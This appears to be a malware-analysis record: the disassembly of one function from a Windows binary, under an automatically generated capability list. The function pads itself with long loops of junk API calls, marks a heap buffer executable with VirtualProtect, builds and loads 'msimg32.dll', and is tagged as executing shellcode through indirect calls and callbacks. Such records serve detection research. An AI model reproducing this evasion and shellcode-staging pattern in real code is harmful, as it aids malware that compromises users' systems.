Function at 0x41b340
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x25c0
call fcn.00408ef0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
cmp esi, 0x1e174
jge 0x41b376
push 0
push 0
call edi
call ebx
cmp esi, 0x1e9b1d96
jle 0x41b390
cmp ebp, 0xc096a0
je 0x41b390
cmp dword [esp + 0x68], 0x95f3220
jne 0x41b399
inc esi
cmp esi, 0x98b86
jl 0x41b366
cmp dword [0x22734b0], 0xcf8
jne 0x41b3c8
push 0
push 0
call fcn.00403240
push 0
push 0
call fcn.004032ad
push 0
call fcn.0040385c
add esp, 0x14
push 0
call fcn.004036d6
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
lea esp, [esp]
cmp esi, 0x408
jne 0x41b3f3
mov eax, 0x5d1
add dword [0x22734b0], eax
cmp dword [0x22734b0], 3
jne 0x41b412
push 0
call edi
push 0
push 0
call ebx
push 0
lea eax, [esp + 0x5d4]
push eax
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x41b3e0
mov ecx, dword [0x22734b0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x43f614], eax
mov eax, dword [0x22734b0]
xor esi, esi
test eax, eax
je 0x41b4e0
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
cmp eax, 0xfe
jne 0x41b4af
push 0
call edi
push 0
call ebx
xor edx, edx
lea ecx, [esp + 0x18]
push ecx
push edx
push edx
lea eax, [esp + 0x5dc]
push eax
push edx
mov dword [esp + 0x28], edx
call ebp
push 0x402cbc
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
lea ecx, [esp + 0x30]
xor eax, eax
push ecx
lea edx, [esp + 0x60]
push edx
push 0x402cd8
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsW]
call fcn.0041b090
mov eax, dword [0x22734b0]
cmp eax, 0x29
jne 0x41b4d7
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
mov eax, dword [0x22734b0]
inc esi
cmp esi, eax
jb 0x41b450
cmp eax, 0x70
jne 0x41b585
push 0
lea eax, [esp + 0x5d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x402d8c
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call esi
call esi
push 0x402da0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea edx, [esp + 0xdd8]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea eax, [esp + 0x1d4]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call edi
push 0x402dbc
push 0x402dd8
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov eax, dword [0x22734b0]
mov ebp, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindClose]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov dword [esp + 0x18], 0x9682ab
cmp eax, 3
jne 0x41b5d8
push 0
lea ecx, [esp + 0x48]
push ecx
push 0
lea edx, [esp + 0x1dc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov eax, dword [0x22734b0]
cmp eax, 0xdf
jne 0x41b7b3
push 0x402df8
push 0
push 0
call ebp
push 0
call ebx
xor ecx, ecx
lea eax, [esp + 0x48]
push eax
push ecx
push ecx
lea edx, [esp + 0x1dc]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0x402e14
push 0x402e28
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push 0
push 0
push 0
call esi
lea eax, [esp + 0x4c]
push eax
call edi
push 0
push 0
lea ecx, [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
mov edx, dword [esp + 0x20]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea eax, [esp + 0xdd4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x24]
push ecx
push 0
lea edx, [esp + 0x38]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0x402e48
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea eax, [esp + 0x2c]
push eax
call edi
lea ecx, [esp + 0x28]
push ecx
push 0x402e5c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea edx, [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
lea eax, [esp + 0x15d4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0x402e78
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x11d4]
push ecx
push 0x402e90
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x1dd4]
push edx
push 0x402eb0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x5d4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x30
lea edx, [esp + 0x64]
push 0
push edx
mov dword [esp + 0x68], 0
call fcn.00407630
add esp, 0xc
push 0
lea eax, [esp + 0x60]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x22734b0]
dec dword [esp + 0x18]
jne 0x41b5a5
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
mov edi, edi
push 0
call edi
push 0
call ebx
dec esi
jne 0x41b7d0
mov edx, dword [0x22734b0]
mov eax, dword [0x43f614]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
push edx
push eax
mov byte [0x43a880], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0041b2f0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
jmp 0x41b810
cmp dword [0x22734b0], 0xba
jne 0x41b829
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x41b836
call fcn.0041b070
inc esi
cmp esi, 0x1605a
jl 0x41b810
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov edi, 0xf2b8b
lea ebx, [ebx]
cmp dword [0x22734b0], 0x21
jne 0x41b863
push 0
push 0
push 0
push 0
call esi
dec edi
jne 0x41b850
mov edx, 0x73
mov eax, 0x6d
mov word [0x22724c2], dx
mov word [0x22724c6], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x22724ca], cx
mov word [0x22724d6], ax
mov word [0x22724c8], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x22724c0
mov dword [0x22724d0], 0x6c0064
mov word [0x22724c4], ax
mov word [0x22724c0], cx
mov word [0x22724d4], dx
mov dword [0x22724cc], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x22734b0], 0xc30
jne 0x41b957
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push edi
lea edx, [esp + 0x20]
push edx
push edi
lea eax, [esp + 0x5dc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push edi
lea ecx, [esp + 0x1dd4]
push ecx
lea edx, [esp + 0x30]
push edx
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x34]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommMask]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret